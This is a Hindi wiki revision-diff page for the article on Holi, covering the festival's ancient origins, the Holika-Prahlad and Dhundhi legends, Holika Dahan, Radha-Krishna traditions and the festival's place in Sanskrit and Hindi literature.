Difference between revisions of "होली"
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| − | '''होली''' [[भारत]] का प्रमुख त्योहार है। होली जहाँ एक ओर सामाजिक एवं धार्मिक है, वहीं [[रंग|रंगों]] का भी त्योहार है। बाल-वृद्ध, नर-नारी सभी इसे बड़े उत्साह से मनाते हैं। इसमें जातिभेद-वर्णभेद का कोई स्थान नहीं होता। इस अवसर पर लकड़ियों तथा कंडों आदि का ढेर लगाकर होलिकापूजन किया जाता है फिर उसमें [[आग]] लगायी जाती है। पूजन के समय [[मंत्र]] उच्चारण किया जाता है। | + | '''होली''' ([[अंग्रेज़ी]]: ''Holi'') [[भारत]] का प्रमुख त्योहार है। होली जहाँ एक ओर सामाजिक एवं धार्मिक त्योहार है, वहीं [[रंग|रंगों]] का भी त्योहार है। बाल-वृद्ध, नर-नारी सभी इसे बड़े उत्साह से मनाते हैं। इसमें जातिभेद-वर्णभेद का कोई स्थान नहीं होता। इस अवसर पर लकड़ियों तथा कंडों आदि का ढेर लगाकर [[होलिका दहन|होलिकापूजन]] किया जाता है फिर उसमें [[आग]] लगायी जाती है। पूजन के समय [[मंत्र]] उच्चारण किया जाता है। |
{{seealso|होली महोत्सव|ब्रज|होलाष्टक|होलिका दहन}} | {{seealso|होली महोत्सव|ब्रज|होलाष्टक|होलिका दहन}} | ||
==इतिहास== | ==इतिहास== | ||
| − | प्रचलित मान्यता के अनुसार यह त्योहार [[हिरण्यकशिपु]] की बहन [[होलिका]] के मारे जाने की स्मृति में मनाया जाता है। [[पुराण|पुराणों]] में वर्णित है कि हिरण्यकशिपु की बहन होलिका वरदान के प्रभाव से नित्य [[अग्नि]] स्नान करती और जलती नहीं थी। हिरण्यकशिपु ने अपनी बहन होलिका से [[प्रह्लाद]] को गोद में लेकर | + | प्रचलित मान्यता के अनुसार यह त्योहार [[हिरण्यकशिपु]] की बहन [[होलिका]] के मारे जाने की स्मृति में मनाया जाता है। [[पुराण|पुराणों]] में वर्णित है कि हिरण्यकशिपु की बहन होलिका वरदान के प्रभाव से नित्य [[अग्नि]] स्नान करती थी और जलती नहीं थी। हिरण्यकशिपु ने अपनी बहन होलिका से [[प्रह्लाद]] को गोद में लेकर अग्नि स्नान करने को कहा। उसने समझा कि ऐसा करने से प्रह्लाद अग्नि में जल जाएगा तथा होलिका बच जाएगी। होलिका ने ऐसा ही किया, किंतु होलिका जल गयी, प्रह्लाद बच गये। होलिका को यह स्मरण ही नहीं रहा कि अग्नि स्नान वह अकेले ही कर सकती है। तभी से इस त्योहार के मनाने की प्रथा चल पड़ी।[[चित्र:Holi-1.jpg|thumb|left|बाज़ार में विभिन्न [[रंग|रंगों]] का दृश्य]] |
====प्राचीन शब्दरूप==== | ====प्राचीन शब्दरूप==== | ||
यह बहुत प्राचीन उत्सव है। इसका आरम्भिक शब्दरूप '''होलाका''' था।<ref>जैमिनि, 1।3।15-16</ref> [[भारत]] में पूर्वी भागों में यह शब्द प्रचलित था। [[जैमिनि]] एवं [[शबर]] का कथन है कि 'होलाका' सभी [[आर्य|आर्यो]] द्वारा सम्पादित होना चाहिए। [[काठकगृह्य]]<ref>काठकगृह्य, 73,1</ref> में एक सूत्र है 'राका होला के', जिसकी व्याख्या टीकाकार देवपाल ने यों की है- 'होला एक कर्म-विशेष है जो स्त्रियों के सौभाग्य के लिए सम्पादित होता है, उस कृत्य में [[राका]]<ref> पूर्णचन्द्र</ref> [[देवता]] है।'<ref>राका होलाके। काठकगृह्य (73।1)। इस पर देवपाल की टीका यों है: 'होला कर्मविशेष: सौभाग्याय स्त्रीणां प्रातरनुष्ठीयते। तत्र होला के राका देवता। यास्ते राके सुभतय इत्यादि।'</ref> अन्य टीकाकारों ने इसकी व्याख्या अन्य रूपों में की है। 'होलाका' उन बीस क्रीड़ाओं में एक है जो सम्पूर्ण [[भारत]] में प्रचलित हैं। इसका उल्लेख [[वात्स्यायन]] के कामसूत्र<ref>कामसूत्र, 1।4।42</ref> में भी हुआ है जिसका अर्थ टीकाकार जयमंगल ने किया है। [[फाल्गुन]] की [[पूर्णिमा]] पर लोग [[श्रृंग]] से एक-दूसरे पर रंगीन [[जल]] छोड़ते हैं और सुगंधित चूर्ण बिखेरते हैं। हेमाद्रि<ref>काल, पृ. 106</ref> ने बृहद्यम का एक [[श्लोक]] उद्भृत किया है। जिसमें होलिका-पूर्णिमा को हुताशनी<ref> आलकज की भाँति</ref> कहा गया है। [[लिंग पुराण]] में आया है- 'फाल्गुन पूर्णिमा को 'फाल्गुनिका' कहा जाता है, यह बाल-क्रीड़ाओं से पूर्ण है और लोगों को विभूति, ऐश्वर्य देने वाली है।' [[वराह पुराण]] में आया है कि यह 'पटवास-विलासिनी' <ref>चूर्ण से युक्त क्रीड़ाओं वाली</ref> है। <ref>लिंगपुराणे। फाल्गुने पौर्णमासी च सदा बालविकासिनी। ज्ञेया फाल्गुनिका सा च ज्ञेया लोकर्विभूतये।। <br /> | यह बहुत प्राचीन उत्सव है। इसका आरम्भिक शब्दरूप '''होलाका''' था।<ref>जैमिनि, 1।3।15-16</ref> [[भारत]] में पूर्वी भागों में यह शब्द प्रचलित था। [[जैमिनि]] एवं [[शबर]] का कथन है कि 'होलाका' सभी [[आर्य|आर्यो]] द्वारा सम्पादित होना चाहिए। [[काठकगृह्य]]<ref>काठकगृह्य, 73,1</ref> में एक सूत्र है 'राका होला के', जिसकी व्याख्या टीकाकार देवपाल ने यों की है- 'होला एक कर्म-विशेष है जो स्त्रियों के सौभाग्य के लिए सम्पादित होता है, उस कृत्य में [[राका]]<ref> पूर्णचन्द्र</ref> [[देवता]] है।'<ref>राका होलाके। काठकगृह्य (73।1)। इस पर देवपाल की टीका यों है: 'होला कर्मविशेष: सौभाग्याय स्त्रीणां प्रातरनुष्ठीयते। तत्र होला के राका देवता। यास्ते राके सुभतय इत्यादि।'</ref> अन्य टीकाकारों ने इसकी व्याख्या अन्य रूपों में की है। 'होलाका' उन बीस क्रीड़ाओं में एक है जो सम्पूर्ण [[भारत]] में प्रचलित हैं। इसका उल्लेख [[वात्स्यायन]] के कामसूत्र<ref>कामसूत्र, 1।4।42</ref> में भी हुआ है जिसका अर्थ टीकाकार जयमंगल ने किया है। [[फाल्गुन]] की [[पूर्णिमा]] पर लोग [[श्रृंग]] से एक-दूसरे पर रंगीन [[जल]] छोड़ते हैं और सुगंधित चूर्ण बिखेरते हैं। हेमाद्रि<ref>काल, पृ. 106</ref> ने बृहद्यम का एक [[श्लोक]] उद्भृत किया है। जिसमें होलिका-पूर्णिमा को हुताशनी<ref> आलकज की भाँति</ref> कहा गया है। [[लिंग पुराण]] में आया है- 'फाल्गुन पूर्णिमा को 'फाल्गुनिका' कहा जाता है, यह बाल-क्रीड़ाओं से पूर्ण है और लोगों को विभूति, ऐश्वर्य देने वाली है।' [[वराह पुराण]] में आया है कि यह 'पटवास-विलासिनी' <ref>चूर्ण से युक्त क्रीड़ाओं वाली</ref> है। <ref>लिंगपुराणे। फाल्गुने पौर्णमासी च सदा बालविकासिनी। ज्ञेया फाल्गुनिका सा च ज्ञेया लोकर्विभूतये।। <br /> | ||
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====शताब्दियों पूर्व से होलिका उत्सव==== | ====शताब्दियों पूर्व से होलिका उत्सव==== | ||
[[चित्र:Holi-Pichkari.jpg|thumb|बाज़ार में पिचकारियाँ]] | [[चित्र:Holi-Pichkari.jpg|thumb|बाज़ार में पिचकारियाँ]] | ||
| − | [[जैमिनि]] एवं [[काठकगृह्य]] में वर्णित होने के कारण यह कहा जा सकता है कि ईसा की कई शताब्दियों पूर्व से 'होलाका' का उत्सव प्रचलित था। | + | [[जैमिनि]] एवं [[काठकगृह्य]] में वर्णित होने के कारण यह कहा जा सकता है कि ईसा की कई शताब्दियों पूर्व से 'होलाका' का उत्सव प्रचलित था। कामसूत्र एवं [[भविष्य पुराण|भविष्योत्तर पुराण]] इसे [[वसन्त ऋतु|वसन्त]] से संयुक्त करते हैं, अत: यह उत्सव पूर्णिमान्त गणना के अनुसार [[वर्ष]] के अन्त में होता था। अत: होलिका [[हेमंत ऋतु|हेमन्त]] या पतझड़ के अन्त की सूचक है और [[वसन्त ऋतु|वसन्त]] की काम-प्रेममय लीलाओं की द्योतक है। मस्ती भरे गाने, [[नृत्य]] एवं [[संगीत]] वसन्तागमन के उल्लासपूर्ण क्षणों के परिचायक हैं। वसन्त की आनन्दाभिव्यक्ति रंगीन [[जल]] एवं [[लाल रंग]], [[अबीर]]-[[गुलाल]] के पारस्परिक आदान-प्रदान से प्रकट होती है। कुछ प्रदेशों में यह [[रंग]] युक्त वातावरण 'होलिका के दिन' ही होता है, किन्तु [[दक्षिण भारत|दक्षिण]] में यह होलिका के पाँचवें [[दिन]] ([[रंग पंचमी (होली)|रंग-पंचमी]]) मनायी जाती है। कहीं-कहीं रंगों के खेल पहले से आरम्भ कर दिये जाते हैं और बहुत दिनों तक चलते रहते हैं; होलिका के पूर्व ही 'पहुनई' में आये हुए लोग एक-दूसरे पर पंक (कीचड़) भी फेंकते हैं।<ref>वर्षकृत्यदीपक (पृ0 301) में निम्न श्लोक आये हैं- <br /> |
'प्रभाते बिमले जाते ह्यंगे भस्म च कारयेत्। सर्वागे च ललाटे च क्रीडितव्यं पिशाचवत्॥<br /> | 'प्रभाते बिमले जाते ह्यंगे भस्म च कारयेत्। सर्वागे च ललाटे च क्रीडितव्यं पिशाचवत्॥<br /> | ||
सिन्दरै: कुंकुमैश्चैव धूलिभिर्धूसरो भवेत्। गीतं वाद्यं च नृत्यं च कृर्याद्रथ्योपसर्पणम् ॥ <br /> | सिन्दरै: कुंकुमैश्चैव धूलिभिर्धूसरो भवेत्। गीतं वाद्यं च नृत्यं च कृर्याद्रथ्योपसर्पणम् ॥ <br /> | ||
| − | ब्राह्मणै: क्षत्रियैर्वैश्यै: शूद्रैश्चान्यैश्च जातिभि:। | + | ब्राह्मणै: क्षत्रियैर्वैश्यै: शूद्रैश्चान्यैश्च जातिभि:। एकीभूय प्रकर्तव्या क्रीडा या फाल्गुने सदा। बालकै: वह गन्तव्यं फाल्गुन्यां च युधिष्ठिर ॥'</ref> कहीं-कहीं दो-तीन दिनों तक [[मिट्टी]], [[रंग]], गान आदि से लोग मतवाले होकर दल बना कर होली का हुड़दंग मचाते हैं, सड़कें लाल हो जाती हैं। वास्तव में यह उत्सव प्रेम करने से सम्बन्धित है, किन्तु शिष्टजनों की नारियाँ इन दिनों बाहर नहीं निकल पातीं, क्योंकि उन्हें भय रहता है कि लोग भद्दी गालियाँ न दे बैठें। श्री गुप्ते ने अपने लेख<ref>हिन्दू हॉलीडेज एवं सेरीमनीज'(पृ. 92</ref> में प्रकट किया है कि यह उत्सव [[मिस्र|ईजिप्ट, मिस्र]] या [[यूनान|ग्रीस, यूनान]] से लिया गया है। किन्तु यह भ्रामक दृष्टिकोण है। लगता है, उन्होंने भारतीय प्राचीन [[ग्रन्थ|ग्रन्थों]] का अवलोकन नहीं किया है, दूसरे, वे इस विषय में भी निश्चित नहीं हैं कि इस उत्सव का उद्गम मिस्त्र से है या यूनान से। उनकी धारणा को गम्भीरता से नहीं लेना चाहिए। |
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====होलिका==== | ====होलिका==== | ||
| − | हेमाद्रि<ref>व्रत, भाग 2, | + | [[हेमाद्रि]]<ref>व्रत, भाग 2, पृ. 174-190</ref> ने भविष्योत्तर<ref>भविष्योत्तर, 132।1।51</ref> से उद्धरण देकर एक कथा दी है। [[युधिष्ठिर]] ने [[कृष्ण]] से पूछा कि [[फाल्गुन]]-[[पूर्णिमा]] को प्रत्येक गाँव एवं नगर में एक उत्सव क्यों होता है, प्रत्येक घर में बच्चे क्यों क्रीड़ामय हो जाते हैं और 'होलाका' क्यों जलाते हैं, उसमें किस [[देवता]] की पूजा होती है, किसने इस उत्सव का प्रचार किया, इसमें क्या होता है और यह 'अडाडा' क्यों कही जाती है। [[चित्र:Holika-Prahlad-1.jpg|thumb|[[प्रह्लाद]] को गोद में बिठाकर बैठी होलिका|220px|left]] [[कृष्ण]] ने [[युधिष्ठिर]] से [[राजा रघु]] के विषय में एक [[किंवदंती]] कही। राजा रघु के पास लोग यह कहने के लिए गये कि 'ढोण्ढा' नामक एक राक्षसी है जिसे [[शिव]] ने वरदान दिया है कि उसे [[देव]], मानव आदि नहीं मार सकते हैं और न वह [[अस्त्र शस्त्र]] या [[शीत ऋतु|जाड़ा]] या [[ग्रीष्म ऋतु|गर्मी]] या [[वर्षा]] से मर सकती है, किन्तु शिव ने इतना कह दिया है कि वह क्रीड़ायुक्त बच्चों से भय खा सकती है। [[पुरोहित]] ने यह भी बताया कि फाल्गुन की [[पूर्णिमा]] को जाड़े की ऋतु समाप्त होती है और [[ग्रीष्म ऋतु]] का आगमन होता है, तब लोग हँसें एवं आनन्द मनायें, बच्चे लकड़ी के टुकड़े लेकर बाहर प्रसन्नतापूर्वक निकल पड़ें, लकड़ियाँ एवं घास एकत्र करें, रक्षोघ्न [[मन्त्र|मन्त्रों]] के साथ उसमें आग लगायें, तालियाँ बजायें, अग्नि की तीन बार [[प्रदक्षिणा]] करें, हँसें और प्रचलित [[भाषा]] में भद्दे एवं अश्लील गाने गायें, इसी शोरगुल एवं अट्टहास से तथा होम से वह राक्षसी मरेगी। जब राजा ने यह सब किया तो राक्षसी मर गयी और वह दिन 'अडाडा' या 'होलिका' कहा गया। आगे आया है कि दूसरे दिन [[चैत्र]] की [[प्रतिपदा]] पर लोगों को होलिकाभस्म को प्रणाम करना चाहिए, मन्त्रोच्चारण करना चाहिए, घर के प्रांगण में वर्गाकार स्थल के मध्य में काम-पूजा करनी चाहिए। काम-प्रतिमा पर सुन्दर नारी द्वारा [[चन्दन]]-लेप लगाना चाहिए और [[पूजा]] करने वाले को चन्दन-लेप से मिश्रित आम्र-बौर खाना चाहिए। इसके उपरान्त यथाशक्ति [[ब्राह्मण|ब्राह्मणों]], भाटों आदि को दान देना चाहिए और 'काम देवता मुझ पर प्रसन्न हों' ऐसा कहना चाहिए। इसके आगे [[पुराण]] में आया है- 'जब [[शुक्ल पक्ष]] की 15वीं [[तिथि]] पर पतझड़ समाप्त हो जाता है और [[वसन्त ऋतु]] का प्रात: आगमन होता है तो जो व्यक्ति चन्दन-लेप के साथ आम्र-मंजरी खाता है वह आनन्द से रहता है।'<ref>पुस्तक- धर्मशास्त्र का इतिहास-4 | लेखक- पांडुरंग वामन काणे | प्रकाशक- उत्तर प्रदेश हिंदी संस्थान </ref> |
====होलिका दहन==== | ====होलिका दहन==== | ||
[[चित्र:Holi-Holika-Dahan-Mathura.jpg|[[होलिका दहन]], [[मथुरा]]|thumb]] | [[चित्र:Holi-Holika-Dahan-Mathura.jpg|[[होलिका दहन]], [[मथुरा]]|thumb]] | ||
{{Main|होलिका दहन}} | {{Main|होलिका दहन}} | ||
| − | होलिका दहन पूर्ण चंद्रमा ([[फाल्गुन]] [[पूर्णिमा]]) के दिन ही प्रारंभ होता है। इस दिन सायंकाल को होली जलाई जाती है। इसके एक [[माह]] पूर्व अर्थात् [[माघ पूर्णिमा]] को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है, और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और फाल्गुन पूर्णिमा की रात या सायंकाल इसे जलाया जाता है। परंपरा के अनुसार सभी लोग अलाव के चारों ओर एकत्रित होते हैं। [[चित्र:Radha-Krishna-Holi-Barsana-Mathura-12.jpg|thumb|left|150px|[[राधा]]-[[कृष्ण]] की छवि में ब्रजवासी, [[बरसाना]]]] | + | होलिका दहन पूर्ण चंद्रमा ([[फाल्गुन]] [[पूर्णिमा]]) के दिन ही प्रारंभ होता है। इस दिन सायंकाल को होली जलाई जाती है। इसके एक [[माह]] पूर्व अर्थात् [[माघ पूर्णिमा]] को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है, और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और फाल्गुन पूर्णिमा की रात या सायंकाल इसे जलाया जाता है। परंपरा के अनुसार सभी लोग अलाव के चारों ओर एकत्रित होते हैं। [[चित्र:Radha-Krishna-Holi-Barsana-Mathura-12.jpg|thumb|left|150px|[[राधा]]-[[कृष्ण]] की छवि में ब्रजवासी, [[बरसाना]]]] इसी अलाव को 'होली' कहा जाता है। होली की अग्नि में सूखी पत्तियाँ, टहनियाँ व सूखी लकड़ियाँ डाली जाती हैं तथा लोग इसी अग्नि के चारों ओर [[नृत्य]] व [[संगीत]] का आनन्द लेते हैं। |
====होली और राधा-कृष्ण की कथा==== | ====होली और राधा-कृष्ण की कथा==== | ||
| − | [[श्रीकृष्ण|भगवान श्रीकृष्ण]] तो सांवले थे, परंतु उनकी आत्मिक सखी [[राधा]] गौरवर्ण की थी। इसलिए बालकृष्ण प्रकृति के इस अन्याय की शिकायत अपनी माँ [[यशोदा]] से करते तथा इसका कारण जानने का प्रयत्न करते। एक दिन यशोदा ने श्रीकृष्ण को यह सुझाव दिया कि वे राधा के मुख पर वही [[रंग]] लगा दें, जिसकी उन्हें इच्छा हो। नटखट श्रीकृष्ण यही कार्य करने चल पड़े। आप चित्रों व अन्य भक्ति आकृतियों में श्रीकृष्ण के इसी कृत्य को जिसमें वे राधा व अन्य गोपियों पर [[रंग]] डाल रहे हैं, देख सकते हैं। यह प्रेममयी शरारत शीघ्र ही लोगों में प्रचलित हो गई तथा होली की परंपरा के रूप में स्थापित हुई। इसी [[ऋतु]] में लोग राधा व कृष्ण के चित्रों को सजाकर सड़कों पर घूमते हैं। [[मथुरा]] की होली का विशेष महत्त्व है, क्योंकि [[मथुरा]] में ही | + | [[श्रीकृष्ण|भगवान श्रीकृष्ण]] तो सांवले थे, परंतु उनकी आत्मिक सखी [[राधा]] गौरवर्ण की थी। इसलिए बालकृष्ण प्रकृति के इस अन्याय की शिकायत अपनी माँ [[यशोदा]] से करते तथा इसका कारण जानने का प्रयत्न करते। एक दिन यशोदा ने श्रीकृष्ण को यह सुझाव दिया कि वे राधा के मुख पर वही [[रंग]] लगा दें, जिसकी उन्हें इच्छा हो। नटखट श्रीकृष्ण यही कार्य करने चल पड़े। आप चित्रों व अन्य भक्ति आकृतियों में श्रीकृष्ण के इसी कृत्य को जिसमें वे राधा व अन्य गोपियों पर [[रंग]] डाल रहे हैं, देख सकते हैं। यह प्रेममयी शरारत शीघ्र ही लोगों में प्रचलित हो गई तथा होली की परंपरा के रूप में स्थापित हुई। इसी [[ऋतु]] में लोग राधा व कृष्ण के चित्रों को सजाकर सड़कों पर घूमते हैं। [[मथुरा]] की होली का विशेष महत्त्व है, क्योंकि [[मथुरा]] में ही कृष्ण का जन्म हुआ था। |
{{मथुरा होली चित्र सूची}} | {{मथुरा होली चित्र सूची}} | ||
====होली और धुंधी की कथा==== | ====होली और धुंधी की कथा==== | ||
| − | [[चित्र:Baldev-Holi-Mathura-21.jpg|thumb|220px|[[ | + | [[चित्र:Baldev-Holi-Mathura-21.jpg|thumb|220px|[[दाऊजी का हुरंगा]], [[बलदेव मथुरा|बलदेव]]]] |
| − | [[ | + | [[भविष्य पुराण]] में वर्णित है कि [[सतयुग|सत्ययुग]] में राजा [[रघु]] के राज्य में माली नामक दैत्य की पुत्री ढोंढा या धुंधी थी। उसने [[शिव]] की उग्र तपस्या की। शिव ने वर माँगने को कहा। उसने वर माँगा- प्रभो! [[देवता]], दैत्य, मनुष्य आदि मुझे मार न सकें तथा अस्त्र-शस्त्र आदि से भी मेरा वध न हो। साथ ही दिन में, रात्रि में, शीतकाल में, उष्णकाल तथा वर्षाकाल में, भीतर-बाहर कहीं भी मुझे किसी से भय नहीं हो।' शिव ने तथास्तु कहा तथा यह भी चेतावनी दी कि तुम्हें उन्मत्त बालकों से भय होगा। वही ढोंढा नामक राक्षसी बालकों व प्रजा को पीड़ित करने लगी। 'अडाडा' मंत्र का उच्चारण करने पर वह शांत हो जाती थी। इसी से उसे 'अडाडा' भी कहते हैं। इस प्रकार भगवान शिव के अभिशाप वश वह ग्रामीण बालकों की शरारत, गालियों व चिल्लाने के आगे विवश थी। ऐसा विश्वास किया जाता है कि होली के दिन ही सभी बालकों ने अपनी एकता के बल पर आगे बढ़कर धुंधी को गाँव से बाहर धकेला था। वे ज़ोर-ज़ोर से चिल्लाते हुए तथा चालाकी से उसकी ओर बढ़ते ही गये। यही कारण है कि इस दिन नवयुवक कुछ अशिष्ट भाषा में हँसी मजाक कर लेते हैं, परंतु कोई उनकी बात का बुरा नहीं मानता। |
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| + | {{seealso|दाऊजी का हुरंगा}} | ||
==होली की प्राचीन कथाएँ== | ==होली की प्राचीन कथाएँ== | ||
| − | *एक [[कहानी]] यह भी है कि [[कंस]] के निर्देश पर जब राक्षसी [[पूतना]] | + | *एक [[कहानी]] यह भी है कि [[कंस]] के निर्देश पर जब राक्षसी [[पूतना]] श्रीकृष्ण को मारने के लिए उनको विषपूर्ण दुग्धपान कराना शुरू किया लेकिन श्रीकृष्ण ने [[दूध]] पीते-पीते उसे ही मार डाला। कहते हैं कि उसका शरीर भी लुप्त हो गया तो गाँव वालों ने पूतना का पुतला बना कर दहन किया और ख़ुशियाँ मनाईं। तभी से [[मथुरा]] मे होली मनाने की परंपरा है।<ref name="hmi">{{cite web |url=http://www.hindimedia.in/index.php?option=com_content&task=view&id=1508&Itemid=32#13 |title=होली की प्राचीन कथाएं |accessmonthday=[[10 मार्च]] |accessyear=[[2011]] |last= |first= |authorlink= |format=पी.एच.पी |publisher=हिन्दी मीडिया डॉट इन |language=[[हिन्दी]] }}</ref> |
[[चित्र:Holi-14.jpg|thumb|250px|left]] | [[चित्र:Holi-14.jpg|thumb|250px|left]] | ||
| − | *एक अन्य मुख्य धारणा है कि [[हिमालय]] पुत्री [[पार्वती]] भगवान [[ | + | *एक अन्य मुख्य धारणा है कि [[हिमालय]] पुत्री [[पार्वती]] भगवान [[शिव]] से [[विवाह]] करना चाहती थीं। चूँकि शंकर जी तपस्या में लीन थे इसलिए [[कामदेव]] पार्वती की मदद के लिए आए। कामदेव ने अपना प्रेमबाण चलाया जिससे भगवान शिव की तपस्या भंग हो गई। शिवशंकर ने क्रोध में आकर अपनी तीसरा [[आँख|नेत्र]] खोल दिया। जिससे भगवान शिव की क्रोधाग्नि में जलकर कामदेव भस्म हो गए। फिर शंकर जी की नज़र पार्वती जी पर गई। शिवजी ने पार्वती जी को अपनी पत्नी बना लिया और शिव जी को पति के रूप में पाने की पार्वती जी की आराधना सफल हो गई। होली के अग्नि में वासनात्मक आकर्षण को प्रतीकात्मक रूप से जलाकर सच्चे प्रेम के विजय के रूप में यह त्योहार विजयोत्सव के रूप में मनाया जाता है।<ref name="hmi"></ref> |
*[[मनुस्मृति]] में इसी दिन [[मनु]] के जन्म का उल्लेख है। कहा जाता है मनु ही इस [[पृथ्वी]] पर आने वाले सर्वप्रथम मानव थे। इसी दिन 'नर-नारायण' के जन्म का भी वर्णन है जिन्हें भगवान [[विष्णु]] का चौथा [[अवतार]] माना जाता है।<ref name="hmi"></ref> | *[[मनुस्मृति]] में इसी दिन [[मनु]] के जन्म का उल्लेख है। कहा जाता है मनु ही इस [[पृथ्वी]] पर आने वाले सर्वप्रथम मानव थे। इसी दिन 'नर-नारायण' के जन्म का भी वर्णन है जिन्हें भगवान [[विष्णु]] का चौथा [[अवतार]] माना जाता है।<ref name="hmi"></ref> | ||
| − | *[[सतयुग]] में भविष्योतरापूरन नगर में छोटे से लेकर बड़ों को सर्दी-जुकाम जैसी बीमारियाँ लग गई। वहाँ के लोग द्युँधा नाम की राक्षसी का प्रभाव मान रहे थे। इससे रक्षा के लिए वे लोग आग के पास रहते थे। सामान्य तौर पर मौसम परिवर्तन के समय लोगों को इस तरह की बीमारियाँ हो जाती हैं, जिसमें अग्नि राहत पहुँचाती है। ‘शामी’ का पेड़ जिसे अग्नि-शक्ति का प्रतीक माना गया था, उसे जलाया गया और अगले दिन सत्ययुगीन राजा [[रघु]] ने होली मनायी।<ref name="hmi"></ref> | + | *[[सतयुग]] में भविष्योतरापूरन नगर में छोटे से लेकर बड़ों को सर्दी-जुकाम जैसी बीमारियाँ लग गई। वहाँ के लोग इसे द्युँधा नाम की राक्षसी का प्रभाव मान रहे थे। इससे रक्षा के लिए वे लोग आग के पास रहते थे। सामान्य तौर पर मौसम परिवर्तन के समय लोगों को इस तरह की बीमारियाँ हो जाती हैं, जिसमें अग्नि राहत पहुँचाती है। ‘शामी’ का पेड़ जिसे अग्नि-शक्ति का प्रतीक माना गया था, उसे जलाया गया और अगले दिन सत्ययुगीन राजा [[रघु]] ने होली मनायी।<ref name="hmi"></ref> |
| − | इस तरह देखते हैं कि होली विभिन्न [[युग|युगों]] में तरह-तरह से और अनेक नामों से मनायी गयी और आज भी मनाई जा रही है। इस तरह कह सकते हैं कि असत्य पर सत्य की या बुराई पर अच्छाई पर जीत की | + | इस तरह देखते हैं कि होली विभिन्न [[युग|युगों]] में तरह-तरह से और अनेक नामों से मनायी गयी और आज भी मनाई जा रही है। इस तरह कह सकते हैं कि असत्य पर सत्य की या बुराई पर अच्छाई पर जीत की ख़ुशी के रूप में होली मनायी जाती है। इसके रंगों में रंग कर हम तमाम ख़ुशियों को आत्मसात कर लेते हैं। |
==साहित्य में होली की झलक== | ==साहित्य में होली की झलक== | ||
| − | [[संस्कृत]] शब्द 'होलक्का' से होली शब्द का जन्म हुआ है। [[वैदिक काल|वैदिक युग]] में 'होलक्का' को ऐसा अन्न माना जाता था, जो देवों का मुख्य रूप से खाद्य-पदार्थ था। [[पश्चिम बंगाल|बंगाल]] में होली को [[डोल यात्रा]] या झूलन पर्व, [[दक्षिण भारत]] में कामथनम, [[मध्य प्रदेश]] के [[छत्तीसगढ़]] में ’गोल बढ़ेदो’ नाम से उत्सव मनाया जाता है और [[उत्तरांचल]] में लोक संगीत व [[शास्त्रीय संगीत]] की प्रधानता है। 'प्रियदर्शिका', 'रत्नावली', '[[कुमार सम्भव]]' सभी में रंग का वर्णन आया है। [[कालिदास]] रचित '[[ऋतुसंहार]]' में पूरा एक सर्ग ही 'वसन्तोत्सव' को अर्पित है। '[[भारवि]]', '[[माघ कवि|माघ]]' जैसे [[संस्कृत]] कवियों ने भी वसन्त और होली पर्व का उल्लेख अपनी रचनाओं में किया है। '[[पृथ्वीराज रासो]]' में होली का वर्णन है। | + | प्राचीन काल के [[संस्कृत साहित्य]] में होली के अनेक रूपों का विस्तृत वर्णन है। [[श्रीमद्भागवत]] महापुराण में रसों के समूह [[रास नृत्य|रास]] का वर्णन है। अन्य रचनाओं में 'रंग' नामक उत्सव का वर्णन है जिनमें [[हर्षवर्धन|हर्ष]] की [[हर्षवर्धन की रचनाएँ|प्रियदर्शिका व रत्नावली]] तथा [[कालिदास]] की [[कुमारसंभवम्]] तथा [[मालविकाग्निमित्रम्]] शामिल हैं। कालिदास रचित [[ऋतुसंहार]] में पूरा एक सर्ग ही 'वसन्तोत्सव' को अर्पित है। [[भारवि]], माघ और अन्य कई संस्कृत कवियों ने वसन्त की खूब चर्चा की है। [[चंदबरदाई]] द्वारा रचित [[हिंदी]] के पहले महाकाव्य [[पृथ्वीराज रासो]] में होली का वर्णन है। [[भक्तिकाल]] और [[रीतिकाल]] के [[हिन्दी साहित्य]] में होली और [[फाल्गुन]] [[माह]] का विशिष्ट महत्व रहा है। आदिकालीन कवि [[विद्यापति]] से लेकर भक्तिकालीन [[सूरदास]], [[रहीम]], [[रसखान]], [[पद्माकर]], [[मलिक मुहम्मद जायसी]], [[मीराबाई]], [[कबीर]] और रीतिकालीन [[बिहारी]], [[केशव]], [[घनानंद]] आदि अनेक कवियों को यह विषय प्रिय रहा है। महाकवि सूरदास ने [[बसन्त ऋतु|बसन्त]] एवं होली पर 78 पद लिखे हैं। पद्माकर ने भी होली विषयक प्रचुर रचनाएँ की हैं।<ref>{{cite web |url= http://www.shabdamhindi.com/sanskrit_holi.html|title=संस्कृत साहित्य में होली |accessmonthday=3 मार्च|accessyear=2015|format= | publisher= शब्दम|language=हिन्दी}}</ref>सूफ़ी संत [[हज़रत निज़ामुद्दीन औलिया]], [[अमीर ख़ुसरो]] और [[बहादुरशाह ज़फ़र]] जैसे मुस्लिम संप्रदाय का पालन करने वाले कवियों ने भी होली पर सुंदर रचनाएँ लिखी हैं जो आज भी जन सामान्य में लोकप्रिय हैं। आधुनिक हिंदी कहानियों [[प्रेमचंद]] की ''राजा हरदोल'', प्रभु जोशी की ''अलग अलग तीलियाँ'', तेजेंद्र शर्मा की ''एक बार फिर होली'', ओम प्रकाश अवस्थी की ''होली मंगलमय हो'' तथा स्वदेश राणा की ''हो ली'' में होली के अलग अलग रूप देखने को मिलते हैं।<br /> |
| + | [[संस्कृत]] शब्द 'होलक्का' से होली शब्द का जन्म हुआ है। [[वैदिक काल|वैदिक युग]] में 'होलक्का' को ऐसा अन्न माना जाता था, जो देवों का मुख्य रूप से खाद्य-पदार्थ था। [[पश्चिम बंगाल|बंगाल]] में होली को [[डोल यात्रा]] या झूलन पर्व, [[दक्षिण भारत]] में कामथनम, [[मध्य प्रदेश]] के [[छत्तीसगढ़]] में ’गोल बढ़ेदो’ नाम से उत्सव मनाया जाता है और [[उत्तरांचल]] में लोक संगीत व [[शास्त्रीय संगीत]] की प्रधानता है। 'प्रियदर्शिका', 'रत्नावली', '[[कुमार सम्भव]]' सभी में रंग का वर्णन आया है। [[कालिदास]] रचित '[[ऋतुसंहार]]' में पूरा एक सर्ग ही 'वसन्तोत्सव' को अर्पित है। '[[भारवि]]', '[[माघ कवि|माघ]]' जैसे [[संस्कृत]] कवियों ने भी वसन्त और होली पर्व का उल्लेख अपनी रचनाओं में किया है। '[[पृथ्वीराज रासो]]' में होली का वर्णन है। 